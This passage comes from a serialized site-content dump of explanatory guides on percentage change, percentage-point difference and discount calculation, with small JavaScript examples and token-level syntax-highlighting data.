mathematically correct but practically meaningless. In reports, handle this case explicitly by stating \"from zero base\" or showing the absolute change instead.",[11,165376,165378],{"id":165377},"percentage-increase-vs-decrease","Percentage Increase vs Decrease",[16,165380,165381],{},"A 50% increase followed by a 50% decrease does not return you to the original value. This asymmetry is the single most common source of confusion.",[135,165383,165385],{"className":1607,"code":165384,"language":1609,"meta":141,"style":141},"const original = 100\nconst increased = original * 1.50    \u002F\u002F 150\nconst decreased = increased * 0.50   \u002F\u002F 75, not 100!\n",[143,165386,165387,165398,165418],{"__ignoreMap":141},[1560,165388,165389,165391,165394,165396],{"class":1562,"line":1563},[1560,165390,8180],{"class":1669},[1560,165392,165393],{"class":1576}," original",[1560,165395,8186],{"class":1669},[1560,165397,165310],{"class":1576},[1560,165399,165400,165402,165405,165407,165410,165412,165415],{"class":1562,"line":337},[1560,165401,8180],{"class":1669},[1560,165403,165404],{"class":1576}," increased",[1560,165406,8186],{"class":1669},[1560,165408,165409],{"class":1570}," original ",[1560,165411,8069],{"class":1669},[1560,165413,165414],{"class":1576}," 1.50",[1560,165416,165417],{"class":1649},"    \u002F\u002F 150\n",[1560,165419,165420,165422,165425,165427,165430,165432,165435],{"class":1562,"line":343},[1560,165421,8180],{"class":1669},[1560,165423,165424],{"class":1576}," decreased",[1560,165426,8186],{"class":1669},[1560,165428,165429],{"class":1570}," increased ",[1560,165431,8069],{"class":1669},[1560,165433,165434],{"class":1576}," 0.50",[1560,165436,165437],{"class":1649},"   \u002F\u002F 75, not 100!\n",[16,165439,165440],{},"The reason is straightforward: the 50% increase uses 100 as the base, but the 50% decrease uses 150 as the base. To reverse a 50% increase, you need a 33.33% decrease.",[193,165442,165443,165453],{},[196,165444,165445],{},[199,165446,165447,165450],{},[202,165448,165449],{},"Change",[202,165451,165452],{},"To Reverse It",[211,165454,165455,165463,165471,165477,165485],{},[199,165456,165457,165460],{},[216,165458,165459],{},"+50%",[216,165461,165462],{},"−33.33%",[199,165464,165465,165468],{},[216,165466,165467],{},"+100%",[216,165469,165470],{},"−50%",[199,165472,165473,165475],{},[216,165474,165470],{},[216,165476,165467],{},[199,165478,165479,165482],{},[216,165480,165481],{},"−25%",[216,165483,165484],{},"+33.33%",[199,165486,165487,165490],{},[216,165488,165489],{},"+200%",[216,165491,165492],{},"−66.67%",[16,165494,165495],{},"The reversal formula is:",[135,165497,165500],{"className":165498,"code":165499,"language":140},[138],"Reversal % = (1 \u002F (1 + change)) - 1) × 100\n",[143,165501,165499],{"__ignoreMap":141},[135,165503,165505],{"className":1607,"code":165504,"language":1609,"meta":141,"style":141},"function reversePercentage(changePercent) {\n  return ((1 \u002F (1 + changePercent \u002F 100)) - 1) * 100\n}\n\nreversePercentage(50)   \u002F\u002F -33.33...\nreversePercentage(-50)  \u002F\u002F 100\n",[143,165506,165507,165521,165557,165561,165565,165579],{"__ignoreMap":141},[1560,165508,165509,165511,165514,165516,165519],{"class":1562,"line":1563},[1560,165510,8648],{"class":1669},[1560,165512,165513],{"class":1566}," reversePercentage",[1560,165515,1688],{"class":1570},[1560,165517,165518],{"class":2219},"changePercent",[1560,165520,9345],{"class":1570},[1560,165522,165523,165525,165528,165530,165532,165534,165536,165538,165541,165543,165545,165547,165549,165551,165553,165555],{"class":1562,"line":337},[1560,165524,9350],{"class":1669},[1560,165526,165527],{"class":1570}," ((",[1560,165529,3585],{"class":1576},[1560,165531,11912],{"class":1669},[1560,165533,5181],{"class":1570},[1560,165535,3585],{"class":1576},[1560,165537,29002],{"class":1669},[1560,165539,165540],{"class":1570}," changePercent ",[1560,165542,9423],{"class":1669},[1560,165544,35878],{"class":1576},[1560,165546,28003],{"class":1570},[1560,165548,9412],{"class":1669},[1560,165550,18868],{"class":1576},[1560,165552,1733],{"class":1570},[1560,165554,8069],{"class":1669},[1560,165556,165310],{"class":1576},[1560,165558,165559],{"class":1562,"line":343},[1560,165560,1585],{"class":1570},[1560,165562,165563],{"class":1562,"line":365},[1560,165564,1702],{"emptyLinePlaceholder":363},[1560,165566,165567,165570,165572,165574,165576],{"class":1562,"line":889},[1560,165568,165569],{"class":1566},"reversePercentage",[1560,165571,1688],{"class":1570},[1560,165573,18059],{"class":1576},[1560,165575,10081],{"class":1570},[1560,165577,165578],{"class":1649},"\u002F\u002F -33.33...\n",[1560,165580,165581,165583,165585,165587,165589,165591],{"class":1562,"line":1710},[1560,165582,165569],{"class":1566},[1560,165584,1688],{"class":1570},[1560,165586,9412],{"class":1669},[1560,165588,18059],{"class":1576},[1560,165590,10060],{"class":1570},[1560,165592,165593],{"class":1649},"\u002F\u002F 100\n",[16,165595,165596],{},"This matters in finance: if a stock drops 50%, it needs a 100% gain to recover. A portfolio that loses 40% needs a 66.67% gain to break even. This is why drawdown recovery is disproportionately hard.",[11,165598,79972],{"id":79971},[16,165600,165601,165604],{},[47,165602,165603],{},"Revenue growth",": A SaaS company reports monthly recurring revenue of $120K in January and $150K in February.",[135,165606,165609],{"className":165607,"code":165608,"language":140},[138],"Growth = ((150,000 - 120,000) \u002F 120,000) × 100 = 25%\n",[143,165610,165608],{"__ignoreMap":141},[16,165612,165613],{},"Annualized (assuming consistent monthly growth):",[135,165615,165617],{"className":1607,"code":165616,"language":1609,"meta":141,"style":141},"const monthlyGrowth = 0.25\nconst annualized = (Math.pow(1 + monthlyGrowth, 12) - 1) * 100\n\u002F\u002F 1,355% — compounding is powerful\n",[143,165618,165619,165630,165667],{"__ignoreMap":141},[1560,165620,165621,165623,165626,165628],{"class":1562,"line":1563},[1560,165622,8180],{"class":1669},[1560,165624,165625],{"class":1576}," monthlyGrowth",[1560,165627,8186],{"class":1669},[1560,165629,28239],{"class":1576},[1560,165631,165632,165634,165637,165639,165642,165644,165646,165648,165650,165653,165655,165657,165659,165661,165663,165665],{"class":1562,"line":337},[1560,165633,8180],{"class":1669},[1560,165635,165636],{"class":1576}," annualized",[1560,165638,8186],{"class":1669},[1560,165640,165641],{"class":1570}," (Math.",[1560,165643,39901],{"class":1566},[1560,165645,1688],{"class":1570},[1560,165647,3585],{"class":1576},[1560,165649,29002],{"class":1669},[1560,165651,165652],{"class":1570}," monthlyGrowth, ",[1560,165654,13566],{"class":1576},[1560,165656,1733],{"class":1570},[1560,165658,9412],{"class":1669},[1560,165660,18868],{"class":1576},[1560,165662,1733],{"class":1570},[1560,165664,8069],{"class":1669},[1560,165666,165310],{"class":1576},[1560,165668,165669],{"class":1562,"line":343},[1560,165670,165671],{"class":1649},"\u002F\u002F 1,355% — compounding is powerful\n",[16,165673,165674,165677],{},[47,165675,165676],{},"Website traffic analytics",": Page views dropped from 45,000 to 38,000 after a redesign.",[135,165679,165682],{"className":165680,"code":165681,"language":140},[138],"Change = ((38,000 - 45,000) \u002F 45,000) × 100 = -15.56%\n",[143,165683,165681],{"__ignoreMap":141},[16,165685,165686,165689],{},[47,165687,165688],{},"Conversion rate optimization",": A\u002FB test shows control at 2.3% and variant at 2.8%.",[135,165691,165694],{"className":165692,"code":165693,"language":140},[138],"Relative improvement = ((2.8 - 2.3) \u002F 2.3) × 100 = 21.74%\n",[143,165695,165693],{"__ignoreMap":141},[16,165697,165698],{},"Note the term \"relative improvement.\" In A\u002FB testing, percentage change is always relative to the control, not the combined rate.",[11,165700,165702],{"id":165701},"percentage-point-difference","Percentage Point Difference",[16,165704,165705],{},"A common error in reporting is confusing percentage change with percentage point change. If an interest rate rises from 3% to 5%, the percentage point increase is 2, but the percentage increase is 66.67%.",[135,165707,165709],{"className":1607,"code":165708,"language":1609,"meta":141,"style":141},"const rateOld = 3\nconst rateNew = 5\n\nconst ppDifference = rateNew - rateOld           \u002F\u002F 2 percentage points\nconst pctChange = ((rateNew - rateOld) \u002F rateOld) * 100  \u002F\u002F 66.67%\n",[143,165710,165711,165723,165735,165739,165759],{"__ignoreMap":141},[1560,165712,165713,165715,165718,165720],{"class":1562,"line":1563},[1560,165714,8180],{"class":1669},[1560,165716,165717],{"class":1576}," rateOld",[1560,165719,8186],{"class":1669},[1560,165721,165722],{"class":1576}," 3\n",[1560,165724,165725,165727,165730,165732],{"class":1562,"line":337},[1560,165726,8180],{"class":1669},[1560,165728,165729],{"class":1576}," rateNew",[1560,165731,8186],{"class":1669},[1560,165733,165734],{"class":1576}," 5\n",[1560,165736,165737],{"class":1562,"line":343},[1560,165738,1702],{"emptyLinePlaceholder":363},[1560,165740,165741,165743,165746,165748,165751,165753,165756],{"class":1562,"line":365},[1560,165742,8180],{"class":1669},[1560,165744,165745],{"class":1576}," ppDifference",[1560,165747,8186],{"class":1669},[1560,165749,165750],{"class":1570}," rateNew ",[1560,165752,9412],{"class":1669},[1560,165754,165755],{"class":1570}," rateOld           ",[1560,165757,165758],{"class":1649},"\u002F\u002F 2 percentage points\n",[1560,165760,165761,165763,165766,165768,165771,165773,165776,165778,165780,165782,165784],{"class":1562,"line":889},[1560,165762,8180],{"class":1669},[1560,165764,165765],{"class":1576}," pctChange",[1560,165767,8186],{"class":1669},[1560,165769,165770],{"class":1570}," ((rateNew ",[1560,165772,9412],{"class":1669},[1560,165774,165775],{"class":1570}," rateOld) ",[1560,165777,9423],{"class":1669},[1560,165779,165775],{"class":1570},[1560,165781,8069],{"class":1669},[1560,165783,35878],{"class":1576},[1560,165785,165786],{"class":1649},"  \u002F\u002F 66.67%\n",[16,165788,165789],{},"Both numbers are correct but answer different questions. Use \"percentage points\" when comparing rates and \"percent change\" when describing growth. Financial reporters who write \"interest rates increased 2%\" when they mean \"2 percentage points\" cause genuine confusion.",[11,165791,165793],{"id":165792},"handling-negative-base-values","Handling Negative Base Values",[16,165795,165796],{},"When the starting value is negative, percentage change becomes misleading. If a company's profit goes from −$10M to +$5M, the formula gives:",[135,165798,165801],{"className":165799,"code":165800,"language":140},[138],"((5 - (-10)) \u002F |-10|) × 100 = 150%\n",[143,165802,165800],{"__ignoreMap":141},[16,165804,165805],{},"A \"150% increase\" sounds positive but obfuscates the real story: the company moved from loss to profit. In financial reporting, it is better to state the absolute change ($15M improvement) and the sign change (loss to profit) rather than using percentage change with a negative base.",[16,165807,165808,165809,165811],{},"Quickly compute percentage changes for any dataset using the calculator at ",[98,165810,21907],{"href":21907},", which handles increase, decrease, and percentage-point scenarios with automatic validation for edge cases.",[2043,165813,100852],{},{"title":141,"searchDepth":337,"depth":337,"links":165815},[165816,165817,165818,165819,165820],{"id":165214,"depth":337,"text":165215},{"id":165377,"depth":337,"text":165378},{"id":79971,"depth":337,"text":79972},{"id":165701,"depth":337,"text":165702},{"id":165792,"depth":337,"text":165793},"Master increase and decrease calculations with real examples from finance and analytics.",{},"\u002Fguides\u002Fpercentage-change-formula",{"title":165206,"description":165821},"guides\u002Fpercentage-change-formula","4_fVLXJzhuUqs1o3ISaobjqg0cvAqKDTBjI36h0gw54",{"id":165828,"title":165829,"body":165830,"date":2070,"description":166349,"extension":361,"meta":166350,"navigation":363,"path":166351,"readingTime":889,"seo":166352,"stem":166353,"__hash__":166354},"guides\u002Fguides\u002Fpercentage-change-vs-percentage-point.md","Percentage Change vs Percentage Point",{"type":8,"value":165831,"toc":166333},[165832,165836,165839,165843,165846,165852,165857,165863,165869,165873,165876,165882,165887,165893,165898,165900,165977,165980,165984,165987,165990,166029,166032,166036,166039,166047,166050,166054,166057,166065,166068,166072,166122,166125,166129,166179,166183,166303,166305,166322,166324,166330],[11,165833,165835],{"id":165834},"the-confusion-that-costs-money","The Confusion That Costs Money",[16,165837,165838],{},"A news headline reads: \"Interest rates rose 2%.\" Does that mean the rate went from 5% to 5.1% (a 2% increase of 5), or from 5% to 7% (a 2 percentage point increase)? These are dramatically different outcomes, and confusing them causes real financial and policy errors.",[11,165840,165842],{"id":165841},"percentage-change","Percentage Change",[16,165844,165845],{},"Percentage change measures the relative difference between an old value and a new value, expressed as a proportion of the old value.",[135,165847,165850],{"className":165848,"code":165849,"language":140},[138],"Percentage change = ((New - Old) \u002F Old) × 100\n",[143,165851,165849],{"__ignoreMap":141},[16,165853,165854,165856],{},[47,165855,133],{},": Interest rates rise from 5% to 7%.",[135,165858,165861],{"className":165859,"code":165860,"language":140},[138],"Percentage change = ((7 - 5) \u002F 5) × 100 = 40%\n",[143,165862,165860],{"__ignoreMap":141},[16,165864,165865,165866,165868],{},"The rate increased by ",[47,165867,5314],{}," relative to where it started.",[11,165870,165872],{"id":165871},"percentage-point-change","Percentage Point Change",[16,165874,165875],{},"Percentage point change is the simple arithmetic difference between two percentages.",[135,165877,165880],{"className":165878,"code":165879,"language":140},[138],"Percentage point change = New percentage - Old percentage\n",[143,165881,165879],{"__ignoreMap":141},[16,165883,165884,165856],{},[47,165885,165886],{},"Same example",[135,165888,165891],{"className":165889,"code":165890,"language":140},[138],"Percentage point change = 7 - 5 = 2 percentage points\n",[143,165892,165890],{"__ignoreMap":141},[16,165894,165865,165895,468],{},[47,165896,165897],{},"2 percentage points",[11,165899,119336],{"id":119335},[193,165901,165902,165916],{},[196,165903,165904],{},[199,165905,165906,165909,165912,165914],{},[202,165907,165908],{},"Starting Rate",[202,165910,165911],{},"New Rate",[202,165913,165842],{},[202,165915,165872],{},[211,165917,165918,165930,165940,165952,165965],{},[199,165919,165920,165922,165925,165927],{},[216,165921,74376],{},[216,165923,165924],{},"7%",[216,165926,5314],{},[216,165928,165929],{},"2 pp",[199,165931,165932,165934,165936,165938],{},[216,165933,2184],{},[216,165935,16259],{},[216,165937,5301],{},[216,165939,165929],{},[199,165941,165942,165944,165947,165950],{},[216,165943,18012],{},[216,165945,165946],{},"52%",[216,165948,165949],{},"4%",[216,165951,165929],{},[199,165953,165954,165957,165960,165963],{},[216,165955,165956],{},"1%",[216,165958,165959],{},"3%",[216,165961,165962],{},"200%",[216,165964,165929],{},[199,165966,165967,165969,165971,165974],{},[216,165968,5301],{},[216,165970,2184],{},[216,165972,165973],{},"-50%",[216,165975,165976],{},"-10 pp",[16,165978,165979],{},"Notice: the same 2 percentage point increase produces wildly different percentage changes depending on the starting value. A jump from 1% to 3% is a 200% increase — triple the original rate.",[11,165981,165983],{"id":165982},"where-the-distinction-matters","Where the Distinction Matters",[33,165985,549],{"id":165986},"finance",[16,165988,165989],{},"A mortgage rate moving from 3% to 4% is a 33% increase in your interest cost — not just \"1% more.\" On a $400,000 loan over 30 years:",[193,165991,165992,166005],{},[196,165993,165994],{},[199,165995,165996,165999,166002],{},[202,165997,165998],{},"Rate",[202,166000,166001],{},"Monthly Payment",[202,166003,166004],{},"Total Interest",[211,166006,166007,166018],{},[199,166008,166009,166012,166015],{},[216,166010,166011],{},"3.0%",[216,166013,166014],{},"$1,686",[216,166016,166017],{},"$207,109",[199,166019,166020,166023,166026],{},[216,166021,166022],{},"4.0%",[216,166024,166025],{},"$1,910",[216,166027,166028],{},"$287,478",[16,166030,166031],{},"That 1 percentage point increase costs $80,369 more in interest — a 39% increase in total interest paid.",[33,166033,166035],{"id":166034},"elections","Elections",[16,166037,166038],{},"\"Support for the candidate increased 5%\" is ambiguous. If support went from 40% to 45%, that is:",[41,166040,166041,166044],{},[44,166042,166043],{},"5 percentage points (the poll literally moved 5 points)",[44,166045,166046],{},"12.5% increase relative to the original 40%",[16,166048,166049],{},"Political analysts use percentage points. So should you.",[33,166051,166053],{"id":166052},"health-statistics","Health Statistics",[16,166055,166056],{},"Vaccination coverage rising from 60% to 75% is:",[41,166058,166059,166062],{},[44,166060,166061],{},"15 percentage points more of the population",[44,166063,166064],{},"25% increase in coverage",[16,166066,166067],{},"The first number tells you the population impact. The second tells you the relative improvement.",[11,166069,166071],{"id":166070},"common-errors-in-reporting","Common Errors in Reporting",[193,166073,166074,166087],{},[196,166075,166076],{},[199,166077,166078,166081,166084],{},[202,166079,166080],{},"Incorrect Phrasing",[202,166082,166083],{},"What It Implies",[202,166085,166086],{},"What Was Probably Meant",[211,166088,166089,166100,166111],{},[199,166090,166091,166094,166097],{},[216,166092,166093],{},"\"Unemployment rose 2%\"",[216,166095,166096],{},"From 5% to 5.1%",[216,166098,166099],{},"From 5% to 7% (2 pp)",[199,166101,166102,166105,166108],{},[216,166103,166104],{},"\"Tax rate increased 3%\"",[216,166106,166107],{},"From 20% to 20.6%",[216,166109,166110],{},"From 20% to 23% (3 pp)",[199,166112,166113,166116,166119],{},[216,166114,166115],{},"\"Market share grew 10%\"",[216,166117,166118],{},"From 30% to 33%",[216,166120,166121],{},"From 30% to 40% (10 pp)",[16,166123,166124],{},"Journalists and marketers routinely make this error. When you read a percentage headline, always ask: \"Percentage of what?\"",[11,166126,166128],{"id":166127},"quick-reference-rules","Quick Reference Rules",[193,166130,166131,166139],{},[196,166132,166133],{},[199,166134,166135,166137],{},[202,166136,6703],{},[202,166138,4034],{},[211,166140,166141,166149,166157,166164,166171],{},[199,166142,166143,166146],{},[216,166144,166145],{},"Comparing two rates or percentages",[216,166147,166148],{},"Percentage points",[199,166150,166151,166154],{},[216,166152,166153],{},"Measuring growth relative to a base",[216,166155,166156],{},"Percentage change",[199,166158,166159,166162],{},[216,166160,166161],{},"Interest rates, tax rates, poll numbers",[216,166163,166148],{},[199,166165,166166,166169],{},[216,166167,166168],{},"Revenue growth, population growth",[216,166170,166156],{},[199,166172,166173,166176],{},[216,166174,166175],{},"Headlines for general audiences",[216,166177,166178],{},"Say both — \"2 percentage points (a 40% increase)\"",[11,166180,166182],{"id":166181},"calculating-both-in-practice","Calculating Both in Practice",[135,166184,166186],{"className":1607,"code":166185,"language":1609,"meta":141,"style":141},"function analyzeChange(oldRate, newRate) {\n  const ppChange = newRate - oldRate;\n  const pctChange = ((newRate - oldRate) \u002F oldRate) * 100;\n  return {\n    percentagePoints: ppChange,\n    percentageChange: pctChange\n  };\n}\n\n\u002F\u002F Interest rate: 5% → 7%\nanalyzeChange(5, 7);\n\u002F\u002F { percentagePoints: 2, percentageChange: 40 }\n",[143,166187,166188,166207,166224,166250,166256,166261,166266,166270,166274,166278,166283,166298],{"__ignoreMap":141},[1560,166189,166190,166192,166195,166197,166200,166202,166205],{"class":1562,"line":1563},[1560,166191,8648],{"class":1669},[1560,166193,166194],{"class":1566}," analyzeChange",[1560,166196,1688],{"class":1570},[1560,166198,166199],{"class":2219},"oldRate",[1560,166201,1459],{"class":1570},[1560,166203,166204],{"class":2219},"newRate",[1560,166206,9345],{"class":1570},[1560,166208,166209,166211,166214,166216,166219,166221],{"class":1562,"line":337},[1560,166210,28057],{"class":1669},[1560,166212,166213],{"class":1576}," ppChange",[1560,166215,8186],{"class":1669},[1560,166217,166218],{"class":1570}," newRate ",[1560,166220,9412],{"class":1669},[1560,166222,166223],{"class":1570}," oldRate;\n",[1560,166225,166226,166228,166230,166232,166235,166237,166240,166242,166244,166246,166248],{"class":1562,"line":343},[1560,166227,28057],{"class":1669},[1560,166229,165765],{"class":1576},[1560,166231,8186],{"class":1669},[1560,166233,166234],{"class":1570}," ((newRate ",[1560,166236,9412],{"class":1669},[1560,166238,166239],{"class":1570}," oldRate) ",[1560,166241,9423],{"class":1669},[1560,166243,166239],{"class":1570},[1560,166245,8069],{"class":1669},[1560,166247,35878],{"class":1576},[1560,166249,2228],{"class":1570},[1560,166251,166252,166254],{"class":1562,"line":365},[1560,166253,9350],{"class":1669},[1560,166255,1571],{"class":1570},[1560,166257,166258],{"class":1562,"line":889},[1560,166259,166260],{"class":1570},"    percentagePoints: ppChange,\n",[1560,166262,166263],{"class":1562,"line":1710},[1560,166264,166265],{"class":1570},"    percentageChange: pctChange\n",[1560,166267,166268],{"class":1562,"line":1717},[1560,166269,130885],{"class":1570},[1560,166271,166272],{"class":1562,"line":1747},[1560,166273,1585],{"class":1570},[1560,166275,166276],{"class":1562,"line":2507},[1560,166277,1702],{"emptyLinePlaceholder":363},[1560,166279,166280],{"class":1562,"line":2524},[1560,166281,166282],{"class":1649},"\u002F\u002F Interest rate: 5% → 7%\n",[1560,166284,166285,166288,166290,166292,166294,166296],{"class":1562,"line":2529},[1560,166286,166287],{"class":1566},"analyzeChange",[1560,166289,1688],{"class":1570},[1560,166291,13431],{"class":1576},[1560,166293,1459],{"class":1570},[1560,166295,735],{"class":1576},[1560,166297,1744],{"class":1570},[1560,166299,166300],{"class":1562,"line":2534},[1560,166301,166302],{"class":1649},"\u002F\u002F { percentagePoints: 2, percentageChange: 40 }\n",[11,166304,1355],{"id":1354},[41,166306,166307,166310,166313,166316,166319],{},[44,166308,166309],{},"Percentage change is relative to the original value; percentage point change is the simple difference",[44,166311,166312],{},"The same percentage point change produces different percentage changes at different base values",[44,166314,166315],{},"Financial, political, and health data demand precise language — use percentage points for rate comparisons",[44,166317,166318],{},"When reading headlines, always clarify whether \"increased X%\" means percentage points or relative change",[44,166320,166321],{},"In professional writing, state both values to eliminate ambiguity",[11,166323,286],{"id":285},[16,166325,166326,166327,166329],{},"Calculate percentage changes and percentage point differences instantly with our ",[98,166328,21908],{"href":21907},". Enter your values and get both results side by side.",[2043,166331,166332],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":166334},[166335,166336,166337,166338,166339,166344,166345,166346,166347,166348],{"id":165834,"depth":337,"text":165835},{"id":165841,"depth":337,"text":165842},{"id":165871,"depth":337,"text":165872},{"id":119335,"depth":337,"text":119336},{"id":165982,"depth":337,"text":165983,"children":166340},[166341,166342,166343],{"id":165986,"depth":343,"text":549},{"id":166034,"depth":343,"text":166035},{"id":166052,"depth":343,"text":166053},{"id":166070,"depth":337,"text":166071},{"id":166127,"depth":337,"text":166128},{"id":166181,"depth":337,"text":166182},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand the critical difference between percentage change and percentage point change — and why confusing them leads to costly misinterpretations.",{"immutable":363},"\u002Fguides\u002Fpercentage-change-vs-percentage-point",{"title":165829,"description":166349},"guides\u002Fpercentage-change-vs-percentage-point","GLRZV9VDwoLR-D9rJLHVgA275nUEiqQitq2gjWAJx6s",{"id":166356,"title":166357,"body":166358,"date":2070,"description":167155,"extension":361,"meta":167156,"navigation":363,"path":167157,"readingTime":1710,"seo":167158,"stem":167159,"__hash__":167160},"guides\u002Fguides\u002Fpercentage-discount-calculation.md","Calculating Percentage Discounts",{"type":8,"value":166359,"toc":167149},[166360,166363,166367,166370,166375,166383,166388,166393,166396,166468,166474,166478,166481,166487,166597,166600,166603,166609,166615,166618,166624,166627,166695,166698,166702,166708,166714,166900,166903,166909,166980,166986,166990,166993,167138,167141,167147],[16,166361,166362],{},"Calculating a percentage discount sounds straightforward — until you realize that \"30% off\" can be computed two different ways, compound discounts do not simply add up, and rounding errors at scale turn into real money. Whether you are building an e-commerce checkout, writing pricing logic, or just trying to figure out the real price at a sale, understanding the mechanics of discount math prevents expensive mistakes.",[11,166364,166366],{"id":166365},"the-two-methods-multiply-vs-subtract","The Two Methods: Multiply vs Subtract",[16,166368,166369],{},"Given a price of $80 and a 25% discount, most people compute the discount amount first, then subtract:",[16,166371,166372],{},[47,166373,166374],{},"Subtract method:",[77,166376,166377,166380],{},[44,166378,166379],{},"Discount amount = $80 × 0.25 = $20",[44,166381,166382],{},"Sale price = $80 − $20 = $60",[16,166384,166385],{},[47,166386,166387],{},"Multiply method:",[77,166389,166390],{},[44,166391,166392],{},"Sale price = $80 × (1 − 0.25) = $80 × 0.75 = $60",[16,166394,166395],{},"Both produce the same result for a single discount. The multiply method is preferable in code because it avoids an intermediate subtraction step and composes naturally when discounts stack:",[135,166397,166399],{"className":1607,"code":166398,"language":1609,"meta":141,"style":141},"function applyDiscount(price, discountPercent) {\n  return price * (1 - discountPercent \u002F 100)\n}\n\napplyDiscount(80, 25)  \u002F\u002F 60\n",[143,166400,166401,166419,166442,166446,166450],{"__ignoreMap":141},[1560,166402,166403,166405,166408,166410,166412,166414,166417],{"class":1562,"line":1563},[1560,166404,8648],{"class":1669},[1560,166406,166407],{"class":1566}," applyDiscount",[1560,166409,1688],{"class":1570},[1560,166411,134545],{"class":2219},[1560,166413,1459],{"class":1570},[1560,166415,166416],{"class":2219},"discountPercent",[1560,166418,9345],{"class":1570},[1560,166420,166421,166423,166425,166427,166429,166431,166433,166436,166438,166440],{"class":1562,"line":337},[1560,166422,9350],{"class":1669},[1560,166424,134569],{"class":1570},[1560,166426,8069],{"class":1669},[1560,166428,5181],{"class":1570},[1560,166430,3585],{"class":1576},[1560,166432,22908],{"class":1669},[1560,166434,166435],{"class":1570}," discountPercent ",[1560,166437,9423],{"class":1669},[1560,166439,35878],{"class":1576},[1560,166441,8252],{"class":1570},[1560,166443,166444],{"class":1562,"line":343},[1560,166445,1585],{"class":1570},[1560,166447,166448],{"class":1562,"line":365},[1560,166449,1702],{"emptyLinePlaceholder":363},[1560,166451,166452,166455,166457,166459,166461,166463,166465],{"class":1562,"line":889},[1560,166453,166454],{"class":1566},"applyDiscount",[1560,166456,1688],{"class":1570},[1560,166458,5321],{"class":1576},[1560,166460,1459],{"class":1570},[1560,166462,22036],{"class":1576},[1560,166464,10060],{"class":1570},[1560,166466,166467],{"class":1649},"\u002F\u002F 60\n",[16,166469,166470,166471,166473],{},"The subtract method becomes problematic when people try to combine discounts by adding the percentages. A 25% discount plus a 10% loyalty discount is ",[47,166472,28839],{}," 35% off — it is a sequential application that yields a different result, which leads to the next section.",[11,166475,166477],{"id":166476},"compound-discounts","Compound Discounts",[16,166479,166480],{},"When multiple discounts apply, the order and method of combination matter.",[16,166482,166483,166486],{},[47,166484,166485],{},"Sequential discounts"," apply one after another:",[135,166488,166490],{"className":1607,"code":166489,"language":1609,"meta":141,"style":141},"function compoundDiscount(price, ...discounts) {\n  return discounts.reduce(\n    (p, d) => p * (1 - d \u002F 100),\n    price\n  )\n}\n\ncompoundDiscount(100, 25, 10)  \u002F\u002F 67.5, not 65\n",[143,166491,166492,166512,166523,166558,166563,166567,166571,166575],{"__ignoreMap":141},[1560,166493,166494,166496,166499,166501,166503,166505,166507,166510],{"class":1562,"line":1563},[1560,166495,8648],{"class":1669},[1560,166497,166498],{"class":1566}," compoundDiscount",[1560,166500,1688],{"class":1570},[1560,166502,134545],{"class":2219},[1560,166504,1459],{"class":1570},[1560,166506,24388],{"class":1669},[1560,166508,166509],{"class":2219},"discounts",[1560,166511,9345],{"class":1570},[1560,166513,166514,166516,166519,166521],{"class":1562,"line":337},[1560,166515,9350],{"class":1669},[1560,166517,166518],{"class":1570}," discounts.",[1560,166520,164234],{"class":1566},[1560,166522,35957],{"class":1570},[1560,166524,166525,166528,166530,166532,166534,166536,166538,166541,166543,166545,166547,166549,166552,166554,166556],{"class":1562,"line":343},[1560,166526,166527],{"class":1570},"    (",[1560,166529,16],{"class":2219},[1560,166531,1459],{"class":1570},[1560,166533,27742],{"class":2219},[1560,166535,1733],{"class":1570},[1560,166537,11503],{"class":1669},[1560,166539,166540],{"class":1570}," p ",[1560,166542,8069],{"class":1669},[1560,166544,5181],{"class":1570},[1560,166546,3585],{"class":1576},[1560,166548,22908],{"class":1669},[1560,166550,166551],{"class":1570}," d ",[1560,166553,9423],{"class":1669},[1560,166555,35878],{"class":1576},[1560,166557,19216],{"class":1570},[1560,166559,166560],{"class":1562,"line":365},[1560,166561,166562],{"class":1570},"    price\n",[1560,166564,166565],{"class":1562,"line":889},[1560,166566,139180],{"class":1570},[1560,166568,166569],{"class":1562,"line":1710},[1560,166570,1585],{"class":1570},[1560,166572,166573],{"class":1562,"line":1717},[1560,166574,1702],{"emptyLinePlaceholder":363},[1560,166576,166577,166580,166582,166584,166586,166588,166590,166592,166594],{"class":1562,"line":1747},[1560,166578,166579],{"class":1566},"compoundDiscount",[1560,166581,1688],{"class":1570},[1560,166583,18114],{"class":1576},[1560,166585,1459],{"class":1570},[1560,166587,22036],{"class":1576},[1560,166589,1459],{"class":1570},[1560,166591,36197],{"class":1576},[1560,166593,10060],{"class":1570},[1560,166595,166596],{"class":1649},"\u002F\u002F 67.5, not 65\n",[16,166598,166599],{},"Step by step: $100 → 25% off = $75 → 10% off $75 = $67.50.",[16,166601,166602],{},"Many people mistakenly calculate $100 × (1 − 0.35) = $65. The difference of $2.50 per item becomes substantial at volume.",[16,166604,166605,166608],{},[47,166606,166607],{},"Why sequential application is called \"stacking\":"," Each subsequent discount applies to a smaller base, so the combined effect is always less than the sum of the individual percentages. The combined rate formula is:",[135,166610,166613],{"className":166611,"code":166612,"language":140},[138],"Combined rate = 1 - (1 - d₁)(1 - d₂)(1 - 